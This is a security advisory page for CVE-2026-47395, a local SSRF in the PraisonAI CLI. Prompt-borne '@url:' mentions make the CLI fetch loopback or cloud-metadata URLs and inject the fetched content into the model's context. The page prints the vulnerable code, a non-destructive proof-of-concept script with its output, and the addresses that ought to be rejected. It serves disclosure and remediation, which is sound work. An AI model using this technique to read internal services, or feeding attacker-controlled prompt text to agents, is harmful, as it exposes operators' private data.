CVE-2026-47395: Praisonaiagents PraisonAI CLI Automatically Resolves @url Vulnerability

MODERATE
Advisory Identifier: GHSA-5cxw-77wg-jrf3
CVSS 5.5
CWE-200
Published
Advisory Summary

CVE-2026-47395 is a MODERATE (CVSS 5.5) praisonai cli automatically resolves @url vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Praisonaiagents libraries in the PyPI ecosystem. The issue involves praisonai cli automatically resolves @url mentions in prompt text and can read loopback urls into model context. Remediation is available by upgrading affected packages to version 1.6.40, 4.6.40.

CVE-2026-47395 at a Glance

CVE Identifier CVE-2026-47395
GHSA Identifier GHSA-5cxw-77wg-jrf3
Severity MODERATE
CVSS v3.1 Base Score 5.5
CWE Classification CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Affected Product Praisonaiagents
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-47395

To remediate this vulnerability, upgrade all affected Praisonaiagents dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonaiagents fixed: 1.6.40
pip install praisonaiagents>=1.6.40
PraisonAI fixed: 4.6.40
pip install PraisonAI>=4.6.40
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonaiagents

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-47395, inspect your installed packages using pip:

pip show praisonaiagents

Analyze the terminal output to locate any version of Praisonaiagents in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.40), your application is affected.

Note: The pip show praisonaiagents command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Praisonaiagents, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary PraisonAI's direct-prompt CLI automatically expands `@url:` mentions in raw prompt text before agent execution begins. If a prompt contains `@url:<http-or-https-url>`, the CLI calls `MentionsParser.process(...)`. The `@url:` handler then performs a direct `urllib.request.urlopen()` request to the attacker-controlled URL and returns the response body. That response body is prepended to the final model prompt context. There is no loopback/private-address restriction, no metadata-service restriction, and no approval gate before the fetch. As a result, attacker-influenced prompt text can cause the operator's machine to fetch localhost-only HTTP resources and inject the response into model context. Example: ```text @url:http://localhost.:8766/ summarize this ```` This causes PraisonAI to make an HTTP request to the local machine and prepend the fetched response body to the prompt that the model receives. This is a narrow local SSRF / local content disclosure issue in automatic prompt preprocessing. It is not a remote server takeover. ### Details The affected direct-prompt CLI path is in: ```text src/praisonai/praisonai/cli/main.py ``` The CLI imports and instantiates `MentionsParser` on the direct prompt path: ```python from praisonaiagents.tools.mentions import MentionsParser parser = MentionsParser(workspace_path=os.getcwd()) if parser.has_mentions(prompt): mention_context, prompt = parser.process(prompt) if mention_context: prompt = f"{mention_context}# Task:\n{prompt}" ``` This means raw prompt text is interpreted as a mention language before query rewriting, prompt expansion, tool execution, or LLM invocation. The affected mention implementation is in: ```text src/praisonai-agents/praisonaiagents/tools/mentions.py ``` `@url:` is a first-class mention type: ```python PATTERNS = { "file": re.compile(r'@file:([^\s]+)'), "web": re.compile(r'@web:([^\s]+(?:\s+[^\s@]+)*)'), "doc": re.compile(r'@doc:([^\s]+)'), "rule": re.compile(r'@rule:([^\s]+)'), "url": re.compile(r'@url:(https?://[^\s]+)'), } ``` The URL mention handler performs an unrestricted HTTP request: ```python req = urllib.request.Request( url, headers={'User-Agent': 'Mozilla/5.0 (compatible; PraisonAI/1.0)'} ) with urllib.request.urlopen(req, timeout=10) as response: content = response.read().decode('utf-8', errors='ignore') ``` There is no validation rejecting: ```text 127.0.0.1 localhost localhost. private RFC1918 addresses link-local addresses cloud metadata endpoints other local-only HTTP services ``` The returned body is added to the generated mention context and then prepended to the prompt. The resulting chain is: ```text attacker-influenced prompt text -> @url:http://localhost.:8766/ -> direct-prompt CLI calls MentionsParser.process(...) -> _process_url_mention(...) -> urllib.request.urlopen(attacker URL) -> loopback HTTP response body is read -> response body is injected into model prompt context ``` ### PoC The following PoC is non-destructive. It starts a local HTTP server on `127.0.0.1:8766`, passes a prompt containing `@url:http://localhost.:8766/` through the real `MentionsParser.process(...)` implementation, and confirms that the local response body is injected into the generated prompt context. #### Full PoC ```python #!/usr/bin/env python3 """Self-contained local replay for PraisonAI CLI @url mention loopback fetch.""" from __future__ import annotations import sys import threading from http.server import BaseHTTPRequestHandler, HTTPServer from pathlib import Path REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai" PRAISON_ROOT = REPO_ROOT / "src" / "praisonai" AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents" CLI_MAIN = PRAISON_ROOT / "praisonai/cli/main.py" MENTIONS = AGENTS_ROOT / "praisonaiagents/tools/mentions.py" def verify_source() -> None: expected = { CLI_MAIN: [ "from praisonaiagents.tools.mentions import MentionsParser", "if parser.has_mentions(prompt):", "mention_context, prompt = parser.process(prompt)", 'prompt = f"{mention_context}# Task:\\n{prompt}"', ], MENTIONS: [ '"url": re.compile(r\'@url:(https?://[^\\s]+)\')', "def _process_url_mention(self, url: str) -> Optional[str]:", "with urllib.request.urlopen(req, timeout=10) as response:", ], } for path, needles in expected.items(): text = path.read_text(encoding="utf-8") for needle in needles: if needle not in text: raise RuntimeError(f"source verification failed: {needle!r} not found in {path}") class _Handler(BaseHTTPRequestHandler): hits: list[tuple[str, str | None]] = [] body = b"<html><body>secret-local-page</body></html>" def do_GET(self) -> None: # noqa: N802 self.__class__.hits.append((self.path, self.headers.get("Host"))) self.send_response(200) self.send_header("Content-Type", "text/html; charset=utf-8") self.send_header("Content-Length", str(len(self.body))) self.end_headers() self.wfile.write(self.body) def log_message(self, format: str, *args) -> None: # noqa: A003 return def main() -> int: if not CLI_MAIN.exists() or not MENTIONS.exists(): raise SystemExit("missing local PraisonAI source tree") verify_source() sys.path.insert(0, str(AGENTS_ROOT)) from praisonaiagents.tools.mentions import MentionsParser _Handler.hits.clear() server = HTTPServer(("127.0.0.1", 8766), _Handler) thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() try: parser = MentionsParser(workspace_path="/tmp") context, cleaned = parser.process("@url:http://localhost.:8766/ summarize this") finally: server.shutdown() server.server_close() thread.join(timeout=1) print("[poc] cli_path_verified=yes") print("[poc] mention_impl_verified=yes") print(f"[poc] cleaned_prompt={cleaned}") print(f"[poc] loopback_hit_count={len(_Handler.hits)}") if _Handler.hits: print(f"[poc] loopback_host={_Handler.hits[0][1]}") print(f"[poc] context_contains_secret={'secret-local-page' in context}") if cleaned != "summarize this": raise SystemExit(f"[poc] MISS: unexpected cleaned prompt {cleaned!r}") if not _Handler.hits: raise SystemExit("[poc] MISS: no loopback HTTP request observed") if "secret-local-page" not in context: raise SystemExit("[poc] MISS: local response body was not injected into prompt context") print("[poc] HIT: @url mention fetched loopback content and injected it into prompt context") return 0 if __name__ == "__main__": raise SystemExit(main()) ``` #### Observed output ```text [poc] cli_path_verified=yes [poc] mention_impl_verified=yes [poc] cleaned_prompt=summarize this [poc] loopback_hit_count=1 [poc] loopback_host=localhost.:8766 [poc] context_contains_secret=True [poc] HIT: @url mention fetched loopback content and injected it into prompt context ``` #### Expected secure behavior A prompt-borne `@url:` mention should not be able to read loopback or private-network resources by default. At minimum, the following should be rejected before any HTTP request is made: ```text http://127.0.0.1/ http://localhost/ http://localhost./ http://169.254.169.254/ private RFC1918 addresses link-local addresses ``` #### Actual vulnerable behavior The loopback request succeeds, and the returned local content is inserted into the generated prompt context. ### Impact An attacker who can influence prompt text passed to PraisonAI's direct-prompt CLI can cause the operator's machine to perform local HTTP requests and inject the fetched response body into the model prompt context. Potential impact includes: * reading localhost-only HTTP resources; * reading local dashboards, admin panels, development servers, or internal web services bound to loopback; * exposing fetched local content to the model prompt; * exposing fetched local content through downstream logs, traces, model output, or agent memory depending on the operator workflow. This report does not claim unauthenticated remote server takeover. The attacker must influence the prompt text that an operator runs with the direct-prompt CLI.

CVE-2026-47395 Affected Praisonaiagents Versions

2 component(s)
Fixed Versions:
1.6.404.6.40
Product / Package Ecosystem Affected Versions Fixed Version
praisonaiagents
PyPI
< 1.6.40
1.6.40
PraisonAI
PyPI
< 4.6.40
4.6.40

References

Frequently Asked Questions

What is CVE-2026-47395?
CVE-2026-47395 is a security vulnerability in Praisonaiagents involving PraisonAI CLI automatically resolves @url mentions in prompt text and can read loopback URLs into model context under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.
Which Praisonaiagents versions are affected?
Affected versions include releases prior to 1.6.40, 4.6.40 across affected packages: praisonaiagents, PraisonAI.
What version fixes CVE-2026-47395?
Upgrading to 1.6.40, 4.6.40 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonaiagents affected?
Yes, praisonaiagents is affected in releases prior to 1.6.40. Upgrade your dependency to 1.6.40 or later.
Is PraisonAI affected?
Yes, PraisonAI is affected in releases prior to 4.6.40. Upgrade your dependency to 4.6.40 or later.
What is the CVSS score of CVE-2026-47395?
CVE-2026-47395 has a CVSS v3.1 base score of 5.5 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-47395?
CVE-2026-47395 is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.).
How can I check PyPI dependencies for CVE-2026-47395?
Run the dependency tree command: 'pip show praisonaiagents'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5cxw-77wg-jrf3",
  "modified" : "2026-05-29T22:29:47Z",
  "published" : "2026-05-29T22:29:47Z",
  "aliases" : [ "CVE-2026-47395" ],
  "summary" : "PraisonAI CLI automatically resolves @url mentions in prompt text and can read loopback URLs into model context",
  "details" : "### Summary\n\nPraisonAI's direct-prompt CLI automatically expands `@url:` mentions in raw prompt text before agent execution begins.\n\nIf a prompt contains `@url:<http-or-https-url>`, the CLI calls `MentionsParser.process(...)`. The `@url:` handler then performs a direct `urllib.request.urlopen()` request to the attacker-controlled URL and returns the response body. That response body is prepended to the final model prompt context.\n\nThere is no loopback/private-address restriction, no metadata-service restriction, and no approval gate before the fetch.\n\nAs a result, attacker-influenced prompt text can cause the operator's machine to fetch localhost-only HTTP resources and inject the response into model context.\n\nExample:\n\n```text\n@url:http://localhost.:8766/ summarize this\n````\n\nThis causes PraisonAI to make an HTTP request to the local machine and prepend the fetched response body to the prompt that the model receives.\n\nThis is a narrow local SSRF / local content disclosure issue in automatic prompt preprocessing. It is not a remote server takeover.\n\n### Details\n\nThe affected direct-prompt CLI path is in:\n\n```text\nsrc/praisonai/praisonai/cli/main.py\n```\n\nThe CLI imports and instantiates `MentionsParser` on the direct prompt path:\n\n```python\nfrom praisonaiagents.tools.mentions import MentionsParser\n\nparser = MentionsParser(workspace_path=os.getcwd())\n\nif parser.has_mentions(prompt):\n    mention_context, prompt = parser.process(prompt)\n\nif mention_context:\n    prompt = f\"{mention_context}# Task:\\n{prompt}\"\n```\n\nThis means raw prompt text is interpreted as a mention language before query rewriting, prompt expansion, tool execution, or LLM invocation.\n\nThe affected mention implementation is in:\n\n```text\nsrc/praisonai-agents/praisonaiagents/tools/mentions.py\n```\n\n`@url:` is a first-class mention type:\n\n```python\nPATTERNS = {\n    \"file\": re.compile(r'@file:([^\\s]+)'),\n    \"web\": re.compile(r'@web:([^\\s]+(?:\\s+[^\\s@]+)*)'),\n    \"doc\": re.compile(r'@doc:([^\\s]+)'),\n    \"rule\": re.compile(r'@rule:([^\\s]+)'),\n    \"url\": re.compile(r'@url:(https?://[^\\s]+)'),\n}\n```\n\nThe URL mention handler performs an unrestricted HTTP request:\n\n```python\nreq = urllib.request.Request(\n    url,\n    headers={'User-Agent': 'Mozilla/5.0 (compatible; PraisonAI/1.0)'}\n)\n\nwith urllib.request.urlopen(req, timeout=10) as response:\n    content = response.read().decode('utf-8', errors='ignore')\n```\n\nThere is no validation rejecting:\n\n```text\n127.0.0.1\nlocalhost\nlocalhost.\nprivate RFC1918 addresses\nlink-local addresses\ncloud metadata endpoints\nother local-only HTTP services\n```\n\nThe returned body is added to the generated mention context and then prepended to the prompt.\n\nThe resulting chain is:\n\n```text\nattacker-influenced prompt text\n  -> @url:http://localhost.:8766/\n  -> direct-prompt CLI calls MentionsParser.process(...)\n  -> _process_url_mention(...)\n  -> urllib.request.urlopen(attacker URL)\n  -> loopback HTTP response body is read\n  -> response body is injected into model prompt context\n```\n\n### PoC\n\nThe following PoC is non-destructive. It starts a local HTTP server on `127.0.0.1:8766`, passes a prompt containing `@url:http://localhost.:8766/` through the real `MentionsParser.process(...)` implementation, and confirms that the local response body is injected into the generated prompt context.\n\n#### Full PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-contained local replay for PraisonAI CLI @url mention loopback fetch.\"\"\"\n\nfrom __future__ import annotations\n\nimport sys\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\n\n\nREPO_ROOT = Path(__file__).resolve().parents[3] / \"repos\" / \"praisonai\"\nPRAISON_ROOT = REPO_ROOT / \"src\" / \"praisonai\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\nCLI_MAIN = PRAISON_ROOT / \"praisonai/cli/main.py\"\nMENTIONS = AGENTS_ROOT / \"praisonaiagents/tools/mentions.py\"\n\n\ndef verify_source() -> None:\n    expected = {\n        CLI_MAIN: [\n            \"from praisonaiagents.tools.mentions import MentionsParser\",\n            \"if parser.has_mentions(prompt):\",\n            \"mention_context, prompt = parser.process(prompt)\",\n            'prompt = f\"{mention_context}# Task:\\\\n{prompt}\"',\n        ],\n        MENTIONS: [\n            '\"url\": re.compile(r\\'@url:(https?://[^\\\\s]+)\\')',\n            \"def _process_url_mention(self, url: str) -> Optional[str]:\",\n            \"with urllib.request.urlopen(req, timeout=10) as response:\",\n        ],\n    }\n\n    for path, needles in expected.items():\n        text = path.read_text(encoding=\"utf-8\")\n        for needle in needles:\n            if needle not in text:\n                raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nclass _Handler(BaseHTTPRequestHandler):\n    hits: list[tuple[str, str | None]] = []\n    body = b\"<html><body>secret-local-page</body></html>\"\n\n    def do_GET(self) -> None:  # noqa: N802\n        self.__class__.hits.append((self.path, self.headers.get(\"Host\")))\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html; charset=utf-8\")\n        self.send_header(\"Content-Length\", str(len(self.body)))\n        self.end_headers()\n        self.wfile.write(self.body)\n\n    def log_message(self, format: str, *args) -> None:  # noqa: A003\n        return\n\n\ndef main() -> int:\n    if not CLI_MAIN.exists() or not MENTIONS.exists():\n        raise SystemExit(\"missing local PraisonAI source tree\")\n\n    verify_source()\n\n    sys.path.insert(0, str(AGENTS_ROOT))\n    from praisonaiagents.tools.mentions import MentionsParser\n\n    _Handler.hits.clear()\n\n    server = HTTPServer((\"127.0.0.1\", 8766), _Handler)\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n\n    try:\n        parser = MentionsParser(workspace_path=\"/tmp\")\n        context, cleaned = parser.process(\"@url:http://localhost.:8766/ summarize this\")\n    finally:\n        server.shutdown()\n        server.server_close()\n        thread.join(timeout=1)\n\n    print(\"[poc] cli_path_verified=yes\")\n    print(\"[poc] mention_impl_verified=yes\")\n    print(f\"[poc] cleaned_prompt={cleaned}\")\n    print(f\"[poc] loopback_hit_count={len(_Handler.hits)}\")\n\n    if _Handler.hits:\n        print(f\"[poc] loopback_host={_Handler.hits[0][1]}\")\n\n    print(f\"[poc] context_contains_secret={'secret-local-page' in context}\")\n\n    if cleaned != \"summarize this\":\n        raise SystemExit(f\"[poc] MISS: unexpected cleaned prompt {cleaned!r}\")\n\n    if not _Handler.hits:\n        raise SystemExit(\"[poc] MISS: no loopback HTTP request observed\")\n\n    if \"secret-local-page\" not in context:\n        raise SystemExit(\"[poc] MISS: local response body was not injected into prompt context\")\n\n    print(\"[poc] HIT: @url mention fetched loopback content and injected it into prompt context\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n#### Observed output\n\n```text\n[poc] cli_path_verified=yes\n[poc] mention_impl_verified=yes\n[poc] cleaned_prompt=summarize this\n[poc] loopback_hit_count=1\n[poc] loopback_host=localhost.:8766\n[poc] context_contains_secret=True\n[poc] HIT: @url mention fetched loopback content and injected it into prompt context\n```\n\n#### Expected secure behavior\n\nA prompt-borne `@url:` mention should not be able to read loopback or private-network resources by default.\n\nAt minimum, the following should be rejected before any HTTP request is made:\n\n```text\nhttp://127.0.0.1/\nhttp://localhost/\nhttp://localhost./\nhttp://169.254.169.254/\nprivate RFC1918 addresses\nlink-local addresses\n```\n\n#### Actual vulnerable behavior\n\nThe loopback request succeeds, and the returned local content is inserted into the generated prompt context.\n\n### Impact\n\nAn attacker who can influence prompt text passed to PraisonAI's direct-prompt CLI can cause the operator's machine to perform local HTTP requests and inject the fetched response body into the model prompt context.\n\nPotential impact includes:\n\n* reading localhost-only HTTP resources;\n* reading local dashboards, admin panels, development servers, or internal web services bound to loopback;\n* exposing fetched local content to the model prompt;\n* exposing fetched local content through downstream logs, traces, model output, or agent memory depending on the operator workflow.\n\nThis report does not claim unauthenticated remote server takeover. The attacker must influence the prompt text that an operator runs with the direct-prompt CLI.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonaiagents"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.40"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.6.39"
    }
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "PraisonAI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.6.40"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.6.39"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5cxw-77wg-jrf3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-29T22:29:47Z",
    "nvd_published_at" : null
  }
}